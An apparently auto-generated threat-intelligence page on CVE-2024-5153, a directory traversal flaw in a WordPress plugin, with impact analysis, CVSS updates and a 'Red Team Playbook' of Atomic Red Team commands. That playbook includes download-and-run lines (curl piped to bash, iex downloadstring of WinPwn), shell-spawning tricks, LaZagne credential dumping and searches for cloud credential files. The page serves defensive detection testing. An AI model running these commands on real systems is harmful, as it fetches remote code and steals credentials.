CVE-2024-5153
Overview
This vulnerability is a directory traversal flaw in the Startklar Elementor Addons WordPress plugin. It arises from improper validation of the 'dropzone_hash' parameter, allowing manipulation of file paths. The affected component is the dropzone_form_field.php script handling file operations within the plugin.
Vulnerability Description
The Startklar Elementor Addons plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.7.15 via the 'dropzone_hash' parameter. This makes it possible for unauthenticated attackers to copy the contents of arbitrary files on the server, which can contain sensitive information, and to delete arbitrary directories, including the root WordPress directory.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to read sensitive files and delete arbitrary directories on the server, including critical WordPress files. This can lead to exposure of confidential information and complete site disruption or defacement. The CVSS vector indicates no authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), with high confidentiality and availability impact (C:H/A:H).
Solution
Users should upgrade the Startklar Elementor Addons plugin to a version later than 1.7.15 where this vulnerability is addressed. Detailed patch information and mitigation guidance are available at the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/baa20290-9c01-4f8d-adeb-fbfb15b9d6a9). No specific workaround is documented; immediate update is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Startklar Elementor Addons plugin for WordPress is characterized by a directory traversal flaw, which allows unauthorized access to the file system of the web server. This vulnerability arises from improper validation of the 'dropzone_hash' parameter, enabling attackers to manipulate file paths. By exploiting this weakness, an attacker can traverse directories and access sensitive files that should remain protected. This can include configuration files, user data, and other critical resources that could compromise the integrity and confidentiality of the web application and its users.
Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be executed. An attacker does not require authentication to exploit this flaw, which significantly lowers the barrier to entry. By crafting a malicious request that includes specially crafted parameters, an attacker can gain access to arbitrary files on the server. For instance, they could retrieve sensitive configuration files such as wp-config.php, which contains database credentials and other critical information. Additionally, the ability to delete arbitrary directories poses a severe threat, as it could lead to the complete compromise of the WordPress installation, resulting in service disruption and data loss.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on WordPress for their online presence. The potential for data breaches is significant, as unauthorized access to sensitive information can lead to identity theft, financial fraud, and reputational damage. Furthermore, the ability to delete directories could result in the loss of critical business operations, leading to downtime and financial losses. Organizations may also face compliance issues if sensitive data is exposed, resulting in legal ramifications and penalties. The high CVSS score of 9.8 reflects the critical nature of this vulnerability and the urgent need for remediation.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and vulnerability scans can help identify instances of the affected plugin in use. Additionally, monitoring server logs for unusual access patterns can provide early warning signs of exploitation attempts. Organizations should also ensure that they are using the latest version of the plugin, as updates often include patches for known vulnerabilities. Furthermore, employing web application firewalls (WAF) can help filter out malicious requests and provide an additional layer of security against exploitation attempts.
In conclusion, the directory traversal vulnerability in the Startklar Elementor Addons plugin poses a significant threat to WordPress installations. The ease of exploitation combined with the potential for severe consequences necessitates immediate action from affected organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their web applications against this and similar vulnerabilities, ultimately protecting their data and maintaining trust with their users.
The CVSS score adjustment from 9.8 to 9.1 reflects a refined understanding of the vulnerability’s exploitability and impact, informed by ongoing analysis and telemetry. While the critical severity remains, this recalibration indicates a slightly moderated risk profile, likely due to mitigations in exploit complexity or the presence of partial environmental constraints limiting widespread exploitation. CSURFACE threat intelligence notes that the exploit probability, as measured by the Exploit Prediction Scoring System (EPSS), remains stable at a high percentile, underscoring persistent threat relevance. Importantly, the emergence of a secure fork on GitHub that patches CVE-2024-5153 and related file upload vulnerabilities signals active community response but also highlights the continued need for vigilance, as unauthenticated attackers retain the capability to perform directory traversal attacks with potentially severe consequences. For defenders, this update emphasizes that although the immediate risk is marginally recalibrated, the vulnerability continues to represent a critical attack vector requiring ongoing monitoring, especially given the stable exploit likelihood and the availability of proof-of-concept code that could facilitate exploitation in unpatched environments.
Update 2 — May 21, 2026
The CVSS score for CVE-2024-5153 has been revised upward from 9.1 to 9.8, reflecting a reassessment of the vulnerability’s criticality based on its potential impact and exploitability. This adjustment underscores the heightened severity of the directory traversal flaw in the Startklar Elementor Addons plugin, which allows unauthenticated attackers to access and manipulate sensitive server files, including the deletion of critical directories. CSURFACE threat intelligence confirms that while exploit activity remains stable without a marked surge, the presence of publicly available proof-of-concept code continues to lower the barrier for adversaries to weaponize this vulnerability. Consequently, this recalibration signals that defenders must maintain a heightened state of vigilance, as the risk of compromise remains acute. The increased CVSS score also aligns with the vulnerability’s potential to facilitate broader attack chains, including data exfiltration and site disruption, thereby elevating its priority within vulnerability management programs.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Web-Shop-Host | Startklar Elmentor Addons | All |
cpe:2.3:a:web-shop-host:startklar_elmentor_addons:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Sudo-WP/sudowp-dropzone-elementor
Secure fork of Startklar Elementor Addons. Patched CVE-2024-5153 & File Upload vulnerabilities.
|
Sudo-WP | 0 | 0 | 2026-01-10 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-5153 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/baa20290-9c01-4f8d-adeb-fbfb15b9d6a9?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/startklar-elmentor-forms-extwidgets/trunk/widgets/dropzone_form_field.php#L334 |